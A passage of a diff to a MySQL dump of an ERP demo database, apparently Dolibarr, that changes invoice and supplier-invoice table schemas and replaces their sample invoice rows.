10:54:02',0,0.00000000,NULL,NULL,0,NULL,NULL,NULL,200.00000000,0.00000000,0.00000000,0.00000000,1000.00000000,1200.00000000,1,12,NULL,12,NULL,NULL,NULL,NULL,NULL,1,0,'2023-01-18',NULL,NULL,'crabe',NULL,NULL,NULL,NULL,0,0,'2023-01-18',0,0,'',NULL,NULL,1,'EUR',1.00000000,1000.00000000,200.00000000,1200.00000000,NULL,'facture/FA2301-0029/FA2301-0029.pdf',NULL,NULL),(233,'AV2301-0004',1,NULL,NULL,2,NULL,NULL,36,'2023-01-18 07:54:15','2023-01-18','2023-01-18 07:54:30',NULL,'2023-01-18 10:54:30',0,0.00000000,NULL,NULL,0,NULL,NULL,NULL,-200.00000000,0.00000000,0.00000000,0.00000000,-1000.00000000,-1200.00000000,1,12,NULL,12,NULL,232,NULL,NULL,NULL,0,0,'2023-01-18',NULL,NULL,'crabe',NULL,NULL,NULL,NULL,0,0,NULL,0,0,'',NULL,NULL,1,'EUR',1.00000000,-1000.00000000,-200.00000000,-1200.00000000,NULL,'facture/AV2301-0004/AV2301-0004.pdf',NULL,NULL),(234,'(PROV-POS1-0-1)',1,NULL,NULL,0,NULL,NULL,7,'2023-01-31 16:48:47','2023-01-31',NULL,NULL,'2023-01-31 19:53:22',0,0.00000000,NULL,NULL,0,NULL,NULL,NULL,8.83000000,0.00000000,0.00000000,0.00000000,44.07000000,52.90000000,0,12,NULL,NULL,NULL,NULL,NULL,NULL,NULL,0,0,'2023-01-31',NULL,NULL,NULL,NULL,NULL,NULL,NULL,0,0,NULL,0,0,'',NULL,NULL,0,'USD',1.30000000,57.32000000,11.45000000,68.77000000,NULL,NULL,'takepos','1'),(235,'FA2302-0030',1,NULL,NULL,0,'fdfd',NULL,34,'2023-02-15 13:05:13','2023-02-15','2023-02-15 13:05:21',NULL,'2023-02-27 14:40:22',0,0.00000000,NULL,NULL,0,NULL,NULL,NULL,2.00000000,0.00000000,0.00000000,0.00000000,10.00000000,12.00000000,1,12,NULL,12,NULL,NULL,NULL,3,NULL,1,3,'2023-02-15',NULL,NULL,'crabe',NULL,NULL,NULL,NULL,0,0,'2023-02-15',0,0,'',NULL,NULL,1,'EUR',1.00000000,10.00000000,2.00000000,12.00000000,NULL,'facture/FA2302-0030/FA2302-0030.pdf',NULL,NULL),(236,'FA2302-0031',1,NULL,NULL,0,NULL,NULL,34,'2023-02-15 13:17:22','2023-02-15','2023-02-15 13:17:31',NULL,'2023-02-15 16:17:31',0,0.00000000,NULL,NULL,0,NULL,NULL,NULL,2.00000000,0.00000000,0.00000000,0.00000000,10.00000000,12.00000000,1,12,NULL,12,NULL,NULL,4,3,NULL,1,0,'2023-02-15',NULL,NULL,'crabe',NULL,NULL,NULL,NULL,0,0,'2023-02-15',0,0,'',NULL,NULL,1,'EUR',1.00000000,10.00000000,2.00000000,12.00000000,NULL,'facture/FA2302-0031/FA2302-0031.pdf',NULL,NULL),(237,'FA2303-0032',1,NULL,NULL,5,NULL,NULL,1,'2023-03-02 13:11:22','2023-03-02','2023-03-02 13:16:15',NULL,'2023-03-02 16:16:15',0,0.00000000,NULL,NULL,0,NULL,NULL,NULL,0.00000000,0.00000000,0.00000000,0.00000000,50.00000000,50.00000000,1,12,NULL,12,NULL,NULL,NULL,3,NULL,1,0,'2023-03-02',NULL,NULL,'crabe',NULL,NULL,1,1,0,0,'2023-03-02',0,0,'',NULL,NULL,1,'EUR',1.00000000,50.00000000,0.00000000,50.00000000,NULL,'facture/FA2303-0032/FA2303-0032.pdf',NULL,NULL),(238,'FA2303-0033',1,NULL,NULL,5,NULL,NULL,1,'2023-03-02 13:20:59','2023-03-02','2023-03-02 13:21:13',NULL,'2023-03-08 09:40:57',0,0.00000000,NULL,NULL,0,NULL,NULL,NULL,0.00000000,0.00000000,0.00000000,0.00000000,30.00000000,30.00000000,1,12,NULL,12,NULL,237,NULL,NULL,NULL,1,3,'2023-03-02',NULL,NULL,'crabe',NULL,NULL,1,2,0,0,'2023-03-02',0,0,'',NULL,NULL,0,'EUR',1.00000000,30.00000000,0.00000000,30.00000000,NULL,'facture/FA2303-0033/FA2303-0033.pdf',NULL,NULL),(239,'(PROV239)',1,NULL,NULL,2,NULL,NULL,2,'2023-03-15 08:24:26','2023-03-15',NULL,NULL,'2023-03-15 12:42:01',0,0.00000000,NULL,NULL,0,NULL,NULL,NULL,0.00000000,0.09000000,0.09000000,0.00000000,-1.00000000,-1.18000000,0,12,NULL,NULL,NULL,2,NULL,3,NULL,0,0,'2023-03-15',NULL,NULL,'crabe',NULL,NULL,NULL,NULL,0,0,NULL,0,0,'',NULL,NULL,1,'EUR',1.00000000,-1.00000000,0.00000000,-1.18000000,NULL,'facture/(PROV239)/(PROV239).pdf',NULL,NULL),(240,'(PROV240)',1,NULL,NULL,0,NULL,NULL,2,'2023-03-15 09:42:22','2023-03-15',NULL,NULL,'2023-03-15 12:45:29',0,0.00000000,NULL,NULL,0,NULL,NULL,NULL,0.00000000,0.00000000,0.00000000,0.00000000,0.00000000,0.00000000,0,12,NULL,NULL,NULL,NULL,NULL,3,NULL,1,0,'2023-03-15',NULL,NULL,'crabe',NULL,NULL,NULL,NULL,0,0,'2023-03-15',0,0,'',NULL,NULL,1,'EUR',1.00000000,0.00000000,0.00000000,0.00000000,NULL,'facture/(PROV240)/(PROV240).pdf',NULL,NULL); /*!40000 ALTER TABLE `llx_facture` ENABLE KEYS */; UNLOCK TABLES; @@ -6848,10 +6123,13 @@ CREATE TABLE `llx_facture_extrafields` ( `rowid` int(11) NOT NULL AUTO_INCREMENT, `tms` timestamp NOT NULL DEFAULT current_timestamp() ON UPDATE current_timestamp(), `fk_object` int(11) NOT NULL, - `import_key` varchar(14) COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `import_key` varchar(14) DEFAULT NULL, + `commission` int(3) DEFAULT NULL, + `reseller` int(11) DEFAULT NULL, + `delayautopayment` date DEFAULT NULL, PRIMARY KEY (`rowid`), KEY `idx_facture_extrafields` (`fk_object`) -) ENGINE=InnoDB DEFAULT CHARSET=utf8mb3 COLLATE=utf8mb3_unicode_ci; +) ENGINE=InnoDB AUTO_INCREMENT=8 DEFAULT CHARSET=utf8mb3 COLLATE=utf8mb3_unicode_ci; /*!40101 SET character_set_client = @saved_cs_client */; -- @@ -6860,6 +6138,7 @@ CREATE TABLE `llx_facture_extrafields` ( LOCK TABLES `llx_facture_extrafields` WRITE; /*!40000 ALTER TABLE `llx_facture_extrafields` DISABLE KEYS */; +INSERT INTO `llx_facture_extrafields` VALUES (1,'2023-02-15 16:05:13',235,NULL,NULL,NULL,NULL),(2,'2023-02-15 16:17:22',236,NULL,NULL,NULL,NULL),(3,'2023-03-02 16:11:22',237,NULL,NULL,NULL,NULL),(5,'2023-03-02 16:20:59',238,NULL,NULL,NULL,NULL),(6,'2023-03-15 11:24:26',239,NULL,NULL,NULL,NULL),(7,'2023-03-15 12:42:22',240,NULL,NULL,NULL,NULL); /*!40000 ALTER TABLE `llx_facture_extrafields` ENABLE KEYS */; UNLOCK TABLES; @@ -6872,21 +6151,22 @@ DROP TABLE IF EXISTS `llx_facture_fourn`; /*!40101 SET character_set_client = utf8 */; CREATE TABLE `llx_facture_fourn` ( `rowid` int(11) NOT NULL AUTO_INCREMENT, - `ref` varchar(255) COLLATE utf8mb3_unicode_ci NOT NULL, - `ref_supplier` varchar(255) COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `ref` varchar(255) NOT NULL, + `ref_supplier` varchar(255) DEFAULT NULL, `entity` int(11) NOT NULL DEFAULT 1, - `ref_ext` varchar(255) COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `ref_ext` varchar(255) DEFAULT NULL, `type` smallint(6) NOT NULL DEFAULT 0, `fk_soc` int(11) NOT NULL, `datec` datetime DEFAULT NULL, `datef` date DEFAULT NULL, `tms` timestamp NOT NULL DEFAULT current_timestamp() ON UPDATE current_timestamp(), - `libelle` varchar(255) COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `libelle` varchar(255) DEFAULT NULL, `paye` smallint(6) NOT NULL DEFAULT 0, `amount` double(24,8) NOT NULL DEFAULT 0.00000000, `remise` double(24,8) DEFAULT 0.00000000, - `close_code` varchar(16) COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `close_note` varchar(128) COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `close_code` varchar(16) DEFAULT NULL, + `close_missing_amount` double(24,8) DEFAULT NULL, + `close_note` varchar(128) DEFAULT NULL, `tva` double(24,8) DEFAULT 0.00000000, `localtax1` double(24,8) DEFAULT 0.00000000, `localtax2` double(24,8) DEFAULT 0.00000000, @@ -6904,21 +6184,21 @@ CREATE TABLE `llx_facture_fourn` ( `fk_cond_reglement` int(11) DEFAULT NULL, `fk_mode_reglement` int(11) DEFAULT NULL, `date_lim_reglement` date DEFAULT NULL, - `note_private` text COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `note_public` text COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `model_pdf` varchar(255) COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `import_key` varchar(14) COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `extraparams` varchar(255) COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `note_private` text DEFAULT NULL, + `note_public` text DEFAULT NULL, + `model_pdf` varchar(255) DEFAULT NULL, + `import_key` varchar(14) DEFAULT NULL, + `extraparams` varchar(255) DEFAULT NULL, `fk_incoterms` int(11) DEFAULT NULL, - `location_incoterms` varchar(255) COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `location_incoterms` varchar(255) DEFAULT NULL, `fk_transport_mode` int(11) DEFAULT NULL, `fk_multicurrency` int(11) DEFAULT NULL, - `multicurrency_code` varchar(3) COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `multicurrency_code` varchar(3) DEFAULT NULL, `multicurrency_tx` double(24,8) DEFAULT 1.00000000, `multicurrency_total_ht` double(24,8) DEFAULT 0.00000000, `multicurrency_total_tva` double(24,8) DEFAULT 0.00000000, `multicurrency_total_ttc` double(24,8) DEFAULT 0.00000000, - `last_main_doc` varchar(255) COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `last_main_doc` varchar(255) DEFAULT NULL, `date_pointoftax` date DEFAULT NULL, `date_valid` date DEFAULT NULL, `date_closing` datetime DEFAULT NULL, @@ -6935,7 +6215,7 @@ CREATE TABLE `llx_facture_fourn` ( CONSTRAINT `fk_facture_fourn_fk_soc` FOREIGN KEY (`fk_soc`) REFERENCES `llx_societe` (`rowid`), CONSTRAINT `fk_facture_fourn_fk_user_author` FOREIGN KEY (`fk_user_author`) REFERENCES `llx_user` (`rowid`), CONSTRAINT `fk_facture_fourn_fk_user_valid` FOREIGN KEY (`fk_user_valid`) REFERENCES `llx_user` (`rowid`) -) ENGINE=InnoDB AUTO_INCREMENT=31 DEFAULT CHARSET=utf8mb3 COLLATE=utf8mb3_unicode_ci; +) ENGINE=InnoDB AUTO_INCREMENT=40 DEFAULT CHARSET=utf8mb3 COLLATE=utf8mb3_unicode_ci; /*!40101 SET character_set_client = @saved_cs_client */; -- @@ -6944,7 +6224,7 @@ CREATE TABLE `llx_facture_fourn` ( LOCK TABLES `llx_facture_fourn` WRITE; /*!40000 ALTER TABLE `llx_facture_fourn` DISABLE KEYS */; -INSERT INTO `llx_facture_fourn` VALUES (16,'SI1601-0001','FR70813',1,NULL,0,1,'2014-12-19 15:24:11','2003-04-11','2017-02-06 04:08:22','OVH FR70813',0,0.00000000,0.00000000,NULL,NULL,0.00000000,0.00000000,0.00000000,829.00000000,162.48000000,991.48000000,1,1,NULL,12,NULL,NULL,NULL,NULL,1,NULL,'2003-04-11','','',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1.00000000,0.00000000,0.00000000,0.00000000,NULL,NULL,NULL,NULL,NULL),(17,'SI1601-0002','FR81385',1,NULL,0,1,'2015-02-13 17:19:35','2003-06-04','2019-10-04 08:31:30','OVH FR81385',0,0.00000000,0.00000000,NULL,NULL,0.00000000,0.00000000,0.00000000,26.00000000,5.10000000,31.10000000,1,1,NULL,12,NULL,NULL,NULL,NULL,1,NULL,'2003-06-04','','','canelle',NULL,NULL,NULL,NULL,NULL,NULL,NULL,1.00000000,0.00000000,0.00000000,0.00000000,NULL,NULL,'2019-10-04',NULL,NULL),(18,'SI1601-0003','FR81385',1,NULL,0,2,'2015-02-13 17:20:25','2003-06-04','2017-02-06 04:08:35','OVH FR81385',0,0.00000000,0.00000000,NULL,NULL,0.00000000,0.00000000,0.00000000,26.00000000,5.10000000,31.10000000,0,1,NULL,NULL,NULL,NULL,NULL,NULL,1,NULL,'2003-06-04','','',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1.00000000,0.00000000,0.00000000,0.00000000,NULL,NULL,NULL,NULL,NULL),(19,'SI1601-0004','FR813852',1,NULL,0,2,'2015-03-16 17:59:02','2015-03-16','2017-02-06 04:08:38','OVH FR81385',0,0.00000000,0.00000000,NULL,NULL,0.00000000,0.00000000,0.00000000,26.00000000,5.10000000,31.10000000,0,1,NULL,NULL,NULL,NULL,NULL,NULL,1,NULL,NULL,'','',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1.00000000,0.00000000,0.00000000,0.00000000,NULL,NULL,NULL,NULL,NULL),(20,'SI1702-0001','INV-AE56ER08',1,NULL,0,13,'2017-02-01 19:00:31','2017-02-01','2017-02-01 15:05:28','',0,0.00000000,0.00000000,NULL,NULL,0.00000000,0.00000000,0.00000000,200.00000000,39.20000000,239.20000000,1,12,NULL,12,NULL,NULL,5,NULL,1,0,'2017-02-01','The customer has called us the 24th april. He agree us to not pay the remain of invoice due to default.
\r\nLet\'s see with our book keeper, if we must cancel invoice or ask the supplier a credit note...',NULL,'canelle',NULL,NULL,0,'',NULL,0,'EUR',1.00000000,200.00000000,39.20000000,239.20000000,NULL,NULL,NULL,NULL,NULL),(21,'SI1911-0005','NL-123',1,NULL,0,10,'2019-11-28 15:54:30','2019-11-28','2019-11-28 11:54:46','',0,0.00000000,0.00000000,NULL,NULL,0.00000000,0.00000000,0.00000000,450.00000000,0.00000000,450.00000000,1,12,NULL,12,NULL,NULL,NULL,NULL,1,NULL,'2019-11-28','','',NULL,NULL,NULL,0,'',NULL,1,'EUR',1.00000000,450.00000000,0.00000000,450.00000000,NULL,NULL,'2019-11-28',NULL,NULL),(22,'SI2001-0006','INV20200101',1,NULL,0,17,'2020-01-01 17:48:01','2020-01-01','2020-01-16 17:05:43','',0,0.00000000,0.00000000,NULL,NULL,0.00000000,0.00000000,0.00000000,357.00000000,43.75000000,400.75000000,1,12,NULL,12,NULL,NULL,NULL,1,1,2,'2020-01-01','','',NULL,NULL,NULL,0,'',NULL,1,'EUR',1.00000000,357.00000000,43.75000000,400.75000000,NULL,NULL,'2020-01-16',NULL,NULL),(27,'SA2001-0001','CN01',1,NULL,2,17,'2020-01-01 20:21:51','2020-01-01','2022-02-07 13:38:10','',1,0.00000000,0.00000000,NULL,NULL,0.00000000,0.00000000,0.00000000,-350.00000000,-43.75000000,-393.75000000,2,12,12,12,NULL,22,NULL,NULL,1,NULL,NULL,'','ddd',NULL,NULL,NULL,0,'',NULL,1,'EUR',1.00000000,-350.00000000,-43.75000000,-393.75000000,NULL,NULL,'2020-01-01',NULL,NULL),(28,'SI2001-0007','INV02',1,NULL,0,17,'2020-01-01 20:22:48','2020-01-01','2020-01-01 18:06:02','',0,0.00000000,0.00000000,NULL,NULL,0.00000000,0.00000000,0.00000000,79.17000000,9.89000000,89.06000000,1,12,NULL,12,NULL,NULL,NULL,NULL,1,NULL,'2020-01-01','','',NULL,NULL,NULL,0,'',NULL,1,'EUR',1.00000000,79.17000000,9.89000000,89.06000000,NULL,NULL,'2020-01-01',NULL,NULL),(30,'SA2001-0002','555',1,NULL,2,1,'2020-01-01 20:51:32','2020-01-01','2020-01-01 17:15:57','',0,0.00000000,0.00000000,NULL,NULL,0.00000000,0.00000000,0.00000000,-26.00000000,-5.10000000,-31.10000000,1,12,NULL,12,NULL,17,NULL,NULL,1,NULL,NULL,'','',NULL,NULL,NULL,0,'',NULL,1,'EUR',1.00000000,0.00000000,0.00000000,0.00000000,NULL,NULL,'2020-01-01',NULL,NULL); +INSERT INTO `llx_facture_fourn` VALUES (16,'SI1601-0001','FR70813',1,NULL,0,1,'2014-12-19 15:24:11','2003-04-11','2017-02-06 04:08:22','OVH FR70813',0,0.00000000,0.00000000,NULL,NULL,NULL,0.00000000,0.00000000,0.00000000,829.00000000,162.48000000,991.48000000,1,1,NULL,12,NULL,NULL,NULL,NULL,1,NULL,'2003-04-11','','',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1.00000000,0.00000000,0.00000000,0.00000000,NULL,NULL,NULL,NULL,NULL),(17,'SI1601-0002','FR81385',1,NULL,0,1,'2015-02-13 17:19:35','2003-06-04','2019-10-04 08:31:30','OVH FR81385',0,0.00000000,0.00000000,NULL,NULL,NULL,0.00000000,NULL,NULL,26.00000000,5.10000000,31.10000000,1,1,NULL,12,NULL,NULL,NULL,NULL,4,NULL,'2003-08-03','','','canelle',NULL,NULL,NULL,NULL,NULL,NULL,NULL,1.00000000,0.00000000,0.00000000,0.00000000,NULL,NULL,'2019-10-04',NULL,NULL),(18,'SI1601-0003','FR81385',1,NULL,0,2,'2015-02-13 17:20:25','2003-06-04','2017-02-06 04:08:35','OVH FR81385',0,0.00000000,0.00000000,NULL,NULL,NULL,0.00000000,0.00000000,0.00000000,26.00000000,5.10000000,31.10000000,0,1,NULL,NULL,NULL,NULL,NULL,NULL,1,NULL,'2003-06-04','','',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1.00000000,0.00000000,0.00000000,0.00000000,NULL,NULL,NULL,NULL,NULL),(19,'SI1601-0004','FR813852',1,NULL,0,2,'2015-03-16 17:59:02','2015-03-16','2017-02-06 04:08:38','OVH FR81385',0,0.00000000,0.00000000,NULL,NULL,NULL,0.00000000,0.00000000,0.00000000,26.00000000,5.10000000,31.10000000,0,1,NULL,NULL,NULL,NULL,NULL,NULL,1,NULL,NULL,'','',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1.00000000,0.00000000,0.00000000,0.00000000,NULL,NULL,NULL,NULL,NULL),(20,'SI1702-0001','INV-AE56ER08',1,NULL,0,13,'2017-02-01 19:00:31','2017-02-01','2017-02-01 15:05:28','',0,0.00000000,0.00000000,NULL,NULL,NULL,0.00000000,0.00000000,0.00000000,200.00000000,39.20000000,239.20000000,1,12,NULL,12,NULL,NULL,5,NULL,1,0,'2017-02-01','The customer has called us the 24th april. He agree us to not pay the remain of invoice due to default.
\r\nLet\'s see with our book keeper, if we must cancel invoice or ask the supplier a credit note...',NULL,'canelle',NULL,NULL,0,'',NULL,0,'EUR',1.00000000,200.00000000,39.20000000,239.20000000,NULL,NULL,NULL,NULL,NULL),(21,'SI1911-0005','NL-123',1,NULL,0,10,'2019-11-28 15:54:30','2019-11-28','2019-11-28 11:54:46','',0,0.00000000,0.00000000,NULL,NULL,NULL,0.00000000,0.00000000,0.00000000,450.00000000,0.00000000,450.00000000,1,12,NULL,12,NULL,NULL,NULL,NULL,1,NULL,'2019-11-28','','',NULL,NULL,NULL,0,'',NULL,1,'EUR',1.00000000,450.00000000,0.00000000,450.00000000,NULL,NULL,'2019-11-28',NULL,NULL),(22,'SI2001-0006','INV20200101',1,NULL,0,17,'2020-01-01 17:48:01','2020-01-01','2023-01-10 16:24:45','',0,0.00000000,0.00000000,NULL,NULL,NULL,0.00000000,0.00000000,0.00000000,361.00000000,70.93000000,431.93000000,0,12,NULL,12,NULL,NULL,NULL,1,1,2,'2020-01-01','','',NULL,NULL,NULL,0,'',NULL,1,'EUR',1.00000000,361.00000000,70.93000000,431.93000000,'fournisseur/facture/2/2/SI2001-0006/SI2001-0006.pdf',NULL,'2022-12-29',NULL,NULL),(27,'SA2001-0001','CN01',1,NULL,2,17,'2020-01-01 20:21:51','2020-01-01','2022-02-07 13:38:10','',1,0.00000000,0.00000000,NULL,NULL,NULL,0.00000000,0.00000000,0.00000000,-350.00000000,-43.75000000,-393.75000000,2,12,12,12,NULL,22,NULL,NULL,1,NULL,NULL,'','ddd',NULL,NULL,NULL,0,'',NULL,1,'EUR',1.00000000,-350.00000000,-43.75000000,-393.75000000,NULL,NULL,'2020-01-01',NULL,NULL),(28,'SI2001-0007','INV02',1,NULL,0,17,'2020-01-01 20:22:48','2020-01-01','2020-01-01 18:06:02','',0,0.00000000,0.00000000,NULL,NULL,NULL,0.00000000,0.00000000,0.00000000,79.17000000,9.89000000,89.06000000,1,12,NULL,12,NULL,NULL,NULL,NULL,1,NULL,'2020-01-01','','',NULL,NULL,NULL,0,'',NULL,1,'EUR',1.00000000,79.17000000,9.89000000,89.06000000,NULL,NULL,'2020-01-01',NULL,NULL),(30,'SA2001-0002','555',1,NULL,2,1,'2020-01-01 20:51:32','2020-01-01','2020-01-01 17:15:57','',0,0.00000000,0.00000000,NULL,NULL,NULL,0.00000000,0.00000000,0.00000000,-26.00000000,-5.10000000,-31.10000000,1,12,NULL,12,NULL,17,NULL,NULL,1,NULL,NULL,'','',NULL,NULL,NULL,0,'',NULL,1,'EUR',1.00000000,0.00000000,0.00000000,0.00000000,NULL,NULL,'2020-01-01',NULL,NULL),(31,'(PROV31)','aaaa',1,'',3,13,'2023-02-11 08:27:18','2023-02-11','2023-02-11 11:27:18','',0,0.00000000,0.00000000,NULL,NULL,NULL,0.00000000,0.00000000,0.00000000,0.00000000,0.00000000,0.00000000,0,12,NULL,NULL,NULL,NULL,NULL,NULL,2,NULL,'2023-03-13','','',NULL,NULL,NULL,0,'',NULL,1,'EUR',1.00000000,0.00000000,0.00000000,0.00000000,'fournisseur/facture/1/3/(PROV31)/(PROV31).pdf',NULL,NULL,NULL,NULL),(32,'SI2302-0008','aaaa',1,'',0,17,'2023-02-15 13:18:16','2023-02-15','2023-02-15 16:54:52','',0,0.00000000,0.00000000,NULL,NULL,NULL,0.00000000,0.00000000,0.00000000,50.00000000,10.00000000,60.00000000,1,12,NULL,12,NULL,NULL,4,NULL,1,4,'2023-02-15','','',NULL,NULL,NULL,0,'',NULL,1,'EUR',1.00000000,50.00000000,10.00000000,60.00000000,'fournisseur/facture/2/3/SI2302-0008/SI2302-0008.pdf',NULL,'2023-02-15',NULL,NULL),(34,'(PROV34)','Copy of FR81385',1,'',0,1,'2023-02-21 08:01:43','2023-02-21','2023-02-21 11:01:43','OVH FR81385',0,0.00000000,0.00000000,NULL,NULL,NULL,0.00000000,0.00000000,0.00000000,26.00000000,5.10000000,31.10000000,0,12,NULL,NULL,NULL,NULL,NULL,NULL,4,NULL,NULL,'','',NULL,NULL,NULL,0,'',NULL,0,'EUR',1.00000000,26.00000000,5.10000000,31.10000000,NULL,NULL,NULL,NULL,NULL),(36,'(PROV36)','Copy of FR81385gg',1,'',0,1,'2023-02-21 08:05:09','2023-02-21','2023-02-21 11:05:09','OVH FR81385',0,0.00000000,0.00000000,NULL,NULL,NULL,0.00000000,0.00000000,0.00000000,26.00000000,5.10000000,31.10000000,0,12,NULL,NULL,NULL,NULL,NULL,NULL,4,NULL,NULL,'','',NULL,NULL,NULL,0,'',NULL,0,'EUR',1.00000000,26.00000000,5.10000000,31.10000000,NULL,NULL,NULL,NULL,NULL),(38,'(PROV38)','Copy of FR81385c',1,'',0,1,'2023-02-21 08:10:59','2023-02-21','2023-02-21 11:10:59','OVH FR81385',0,0.00000000,0.00000000,NULL,NULL,NULL,0.00000000,NULL,NULL,26.00000000,5.10000000,31.10000000,0,12,NULL,NULL,NULL,NULL,NULL,NULL,1,NULL,'2023-02-21','','',NULL,NULL,NULL,0,'',NULL,0,'EUR',1.00000000,26.00000000,5.10000000,31.10000000,NULL,NULL,NULL,NULL,NULL),(39,'(PROV39)','Copy of Copy of FR81385c',1,'',0,1,'2023-02-21 08:14:59','2023-02-21','2023-02-21 11:14:59','OVH FR81385',0,0.00000000,0.00000000,NULL,NULL,NULL,0.00000000,0.00000000,0.00000000,26.00000000,5.10000000,31.10000000,0,12,NULL,NULL,NULL,NULL,NULL,NULL,1,NULL,'2023-02-21','','',NULL,NULL,NULL,0,'',NULL,1,'EUR',1.00000000,26.00000000,5.10000000,31.10000000,NULL,NULL,NULL,NULL,NULL); /*!40000 ALTER TABLE `llx_facture_fourn` ENABLE KEYS */; UNLOCK TABLES; @@ -6960,20 +6240,20 @@ CREATE TABLE `llx_facture_fourn_det` ( `fk_facture_fourn` int(11) NOT NULL, `fk_parent_line` int(11) DEFAULT NULL, `fk_product` int(11) DEFAULT NULL, - `ref` varchar(50) COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `label` varchar(255) COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `description` text COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `ref` varchar(50) DEFAULT NULL, + `label` varchar(255) DEFAULT NULL, + `description` text DEFAULT NULL, `pu_ht` double(24,8) DEFAULT NULL, `pu_ttc` double(24,8) DEFAULT NULL, `qty` double DEFAULT NULL, `remise_percent` double DEFAULT 0, `fk_remise_except` int(11) DEFAULT NULL, `tva_tx` double(6,3) DEFAULT NULL, - `vat_src_code` varchar(10) COLLATE utf8mb3_unicode_ci DEFAULT '', + `vat_src_code` varchar(10) DEFAULT '', `localtax1_tx` double(6,3) DEFAULT 0.000, - `localtax1_type` varchar(10) COLLATE utf8mb3_unicode_ci NOT NULL DEFAULT '0', + `localtax1_type` varchar(10) NOT NULL DEFAULT '0', `localtax2_tx` double(6,3) DEFAULT 0.000, - `localtax2_type` varchar(10) COLLATE utf8mb3_unicode_ci NOT NULL DEFAULT '0', + `localtax2_type` varchar(10) NOT NULL DEFAULT '0', `total_ht` double(24,8) DEFAULT NULL, `tva` double(24,8) DEFAULT NULL, `total_localtax1` double(24,8) DEFAULT 0.00000000, @@ -6983,13 +6263,13 @@ CREATE TABLE `llx_facture_fourn_det` ( `date_start` datetime DEFAULT NULL, `date_end` datetime DEFAULT NULL, `info_bits` int(11) NOT NULL DEFAULT 0, - `import_key` varchar(14) COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `import_key` varchar(14) DEFAULT NULL, `fk_code_ventilation` int(11) NOT NULL DEFAULT 0, `special_code` int(11) DEFAULT 0, `rang` int(11) DEFAULT 0, `fk_unit` int(11) DEFAULT NULL, `fk_multicurrency` int(11) DEFAULT NULL, - `multicurrency_code` varchar(3) COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `multicurrency_code` varchar(3) DEFAULT NULL, `multicurrency_subprice` double(24,8) DEFAULT 0.00000000, `multicurrency_total_ht` double(24,8) DEFAULT 0.00000000, `multicurrency_total_tva` double(24,8) DEFAULT 0.00000000, @@ -7002,7 +6282,7 @@ CREATE TABLE `llx_facture_fourn_det` ( KEY `idx_facture_fourn_det_fk_product` (`fk_product`), CONSTRAINT `fk_facture_fourn_det_fk_facture` FOREIGN KEY (`fk_facture_fourn`) REFERENCES `llx_facture_fourn` (`rowid`), CONSTRAINT `fk_facture_fourn_det_fk_unit` FOREIGN KEY (`fk_unit`) REFERENCES `llx_c_units` (`rowid`) -) ENGINE=InnoDB AUTO_INCREMENT=90 DEFAULT CHARSET=utf8mb3 COLLATE=utf8mb3_unicode_ci; +) ENGINE=InnoDB AUTO_INCREMENT=104 DEFAULT CHARSET=utf8mb3 COLLATE=utf8mb3_unicode_ci; /*!40101 SET character_set_client = @saved_cs_client */; -- @@ -7011,7 +6291,7 @@ CREATE TABLE `llx_facture_fourn_det` ( LOCK TABLES `llx_facture_fourn_det` WRITE; /*!40000 ALTER TABLE `llx_facture_fourn_det` DISABLE KEYS */; -INSERT INTO `llx_facture_fourn_det` VALUES (44,16,NULL,NULL,NULL,NULL,'ref :sd.loc.sp.512.6
6 mois - Location de SuperPlan avec la connexion 512kbs
Du 11/04/2003 à 11/10/2003',414.00000000,495.14400000,1,0,NULL,19.600,'',0.000,'',0.000,'',414.00000000,81.14000000,0.00000000,0.00000000,495.14000000,0,NULL,NULL,0,NULL,105,0,0,NULL,NULL,NULL,0.00000000,0.00000000,0.00000000,0.00000000),(45,16,NULL,NULL,NULL,NULL,'ref :sd.loc.sp.512.6
6 mois - Location de SuperPlan avec la connexion 512kbs
Du 11/10/2003 à 11/04/2004',414.00000000,495.14400000,1,0,NULL,19.600,'',0.000,'',0.000,'',414.00000000,81.14000000,0.00000000,0.00000000,495.14000000,0,NULL,NULL,0,NULL,104,0,0,NULL,NULL,NULL,0.00000000,0.00000000,0.00000000,0.00000000),(46,16,NULL,NULL,NULL,NULL,'ref :sd.installation.annuel
Frais de mise en service d\'un serveur dédié pour un paiement annuel
',1.00000000,1.19600000,1,0,NULL,19.600,'',0.000,'',0.000,'',1.00000000,0.20000000,0.00000000,0.00000000,1.20000000,0,NULL,NULL,0,NULL,105,0,0,NULL,NULL,NULL,0.00000000,0.00000000,0.00000000,0.00000000),(47,17,NULL,NULL,NULL,NULL,'ref :bk.full250.creation
Création du compte backup ftp 250Mo.
',1.00000000,1.19600000,1,0,NULL,19.600,'',0.000,'',0.000,'',1.00000000,0.20000000,0.00000000,0.00000000,1.20000000,0,NULL,NULL,0,NULL,106,0,0,NULL,NULL,NULL,0.00000000,0.00000000,0.00000000,0.00000000),(48,17,NULL,NULL,NULL,NULL,'ref :bk.full250.12
Redevance pour un backup de 250Mo sur 12 mois
',25.00000000,29.90000000,1,0,NULL,19.600,'',0.000,'',0.000,'',25.00000000,4.90000000,0.00000000,0.00000000,29.90000000,0,NULL,NULL,0,NULL,103,0,0,NULL,NULL,NULL,0.00000000,0.00000000,0.00000000,0.00000000),(49,18,NULL,NULL,NULL,NULL,'ref :bk.full250.creation
